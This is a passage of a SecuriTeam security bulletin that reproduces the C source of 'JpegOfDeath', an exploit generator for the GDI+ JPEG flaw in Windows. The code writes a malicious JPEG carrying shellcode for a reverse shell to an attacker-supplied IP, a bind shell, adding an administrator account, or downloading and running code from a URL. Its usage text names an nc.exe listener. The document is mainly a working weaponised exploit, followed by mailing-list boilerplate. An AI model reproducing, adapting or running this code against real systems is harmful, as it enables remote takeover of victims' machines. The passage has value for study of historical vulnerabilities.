printf("\tnc.exe -l -p 8888");
exit(-1);
}

int main(int argc, char *argv[])
{
FILE *fout;
unsigned int i = 0,j = 0;
int raw_num = 0;
unsigned long port = 1337; // default port for bind and reverse attacks
unsigned long encoded_port = 0;
unsigned long encoded_ip = 0;
unsigned char attack_mode = 2; // bind by default
char *p1 = NULL, *p2 = NULL;
char ip_addr[256];
char str_num[16];
char jpeg_filename[256];
WSADATA wsa;

printf(" +-----+\n");
printf(" | JpegOfDeath – Remote GDI+ JPEG Remote Exploit |\n");
printf(" | Exploit by John Bissell A.K.A. HighTimes |\n");
printf(" | TweaKed By M4Z3R For GSO |\n");
printf(" | September, 23, 2004 |\n");
printf(" +-----+\n");

if (argc < 2)
print_usage(argv[0]);

// process commandline
for (i = 0; i < (unsigned) argc; i++)
{

if (argv[i][0] == '-')
{

switch (argv[i][1])
{

// reverse connect
case 'r':
strncpy(ip_addr, argv[i+1], 20);
attack_mode = 1;
break;

// bind
case 'b':
attack_mode = 2;
break;
```

```

// Add.Admin
case 'a':
    attack_mode = 3;
    break;

// DL
case 'd':
    attack_mode = 4;
    break;

// port
case 'p':
    port = atoi(argv[i+1]);
    break;
}
}
}

strncpy(jpeg_filename, argv[i-1], 255);
fout = fopen(argv[i-1], "wb");

if( !fout ) {
printf("Error: JPEG File %s Not Created!\n", argv[i-1]);
return(EXIT_FAILURE);
}

// initialize the socket library

if (WSAStartup(MAKEWORD(1, 1), &wsa) == SOCKET_ERROR) {
printf("Error: Winsock didn't initialize!\n");
exit(-1);
}

encoded_port = htonl(port);
encoded_port += 2;

if (attack_mode == 1)
{

// reverse connect attack

reverse_shellcode[184] = (char) 0x90;
reverse_shellcode[185] = (char) 0x92;
reverse_shellcode[186] = xor_data((char)((encoded_port >> 16) & 0xff));
reverse_shellcode[187] = xor_data((char)((encoded_port >> 24) & 0xff));

p1 = strchr(ip_addr, '.');
strncpy(str_num, ip_addr, p1 - ip_addr);
raw_num = atoi(str_num);
reverse_shellcode[179] = xor_data((char)raw_num);

```

Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
p2 = strchr(p1+1, '.');
strncpy(str_num, ip_addr + (p1 - ip_addr) + 1, p2 - p1);
raw_num = atoi(str_num);
reverse_shellcode[180] = xor_data((char)raw_num);

p1 = strchr(p2+1, '.');
strncpy(str_num, ip_addr + (p2 - ip_addr) + 1, p1 - p2);
raw_num = atoi(str_num);
reverse_shellcode[181] = xor_data((char)raw_num);

p2 = strchr(ip_addr, '.');
strncpy(str_num, p2+1, 5);
raw_num = atoi(str_num);
reverse_shellcode[182] = xor_data((char)raw_num);
}

if (attack_mode == 2)
{
    // bind attack

    bind_shellcode[204] = (char) 0x90;
    bind_shellcode[205] = (char) 0x92;
    bind_shellcode[191] = xor_data((char)((encoded_port >> 16) & 0xff));
    bind_shellcode[192] = xor_data((char)((encoded_port >> 24) & 0xff));
}

if (attack_mode == 4)
{

    // Http DL

    strcpy(newshellcode,http_shellcode);
    strcat(newshellcode,argv[2]);
    strcat(newshellcode,"\x01");

}

// build the exploit jpeg

if ( attack_mode != 3)
{
    j = sizeof(header1) + sizeof(setNOPs1) + sizeof(header2) - 3;

    for(i = 0; i < sizeof(header1) - 1; i++)
        fputc(header1[i], fout);

    for(i=0;i<sizeof(setNOPs1)-1;i++)
        fputc(setNOPs1[i], fout);

    for(i=0;i<sizeof(header2)-1;i++)
        fputc(header2[i], fout);
}
```

```

for( i = j; i < 0x63c; i++)
fputc(0x90, fout);
j = i;
}

if (attack_mode == 1)
{
for(i = 0; i < sizeof(reverse_shellcode) - 1; i++)
fputc(reverse_shellcode[i], fout);
}

else if (attack_mode == 2)
{
for(i = 0; i < sizeof(bind_shellcode) - 1; i++)
fputc(bind_shellcode[i], fout);
}

else if (attack_mode == 4)
{
for(i = 0; i < sizeof(newshellcode) - 1; i++)
{fputc(newshellcode[i], fout);}

for(i = 0; i < sizeof(admin_shellcode) - 1; i++)
{fputc(admin_shellcode[i], fout);}
}

else if (attack_mode == 3)
{

for(i = 0; i < sizeof(admin_header0) - 1; i++){fputc(admin_header0[i],
fout);}

for(i = 0; i < sizeof(admin_header1) - 1; i++){fputc(admin_header1[i],
fout);}

for(i = 0; i < sizeof(admin_header2) - 1; i++){fputc(admin_header2[i],
fout);}

for(i = 0; i < sizeof(admin_header3) - 1; i++){fputc(admin_header3[i],
fout);}

for(i = 0; i < sizeof(admin_header4) - 1; i++){fputc(admin_header4[i],
fout);}

for(i = 0; i < sizeof(admin_header5) - 1; i++){fputc(admin_header5[i],
fout);}

for(i = 0; i < sizeof(admin_header6) - 1; i++){fputc(admin_header6[i],
fout);}
}

```

Securiteam: [EXPL] JpegOfDeath – an Advanced JPEG (GDI+) Exploit

```
for (i = 0; i<1601; i++){fputc('\x41', fout);}

for(i = 0; i < sizeof(admin_shellcode) - 1;
i++){fputc(admin_shellcode[i], fout);}

}

if (attack_mode != 3 )
{
for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++)
fputc(0x90, fout);

for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++)
fputc(setNOPs2[j], fout);

}

fprintf(fout, "\xFF\xD9");

fcloseall();

WSACleanup();

printf(" Exploit JPEG file %s has been generated!\n", jpeg_filename);

return(EXIT_SUCCESS);
}
```

ADDITIONAL INFORMATION

The information has been provided by M4Z3R.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.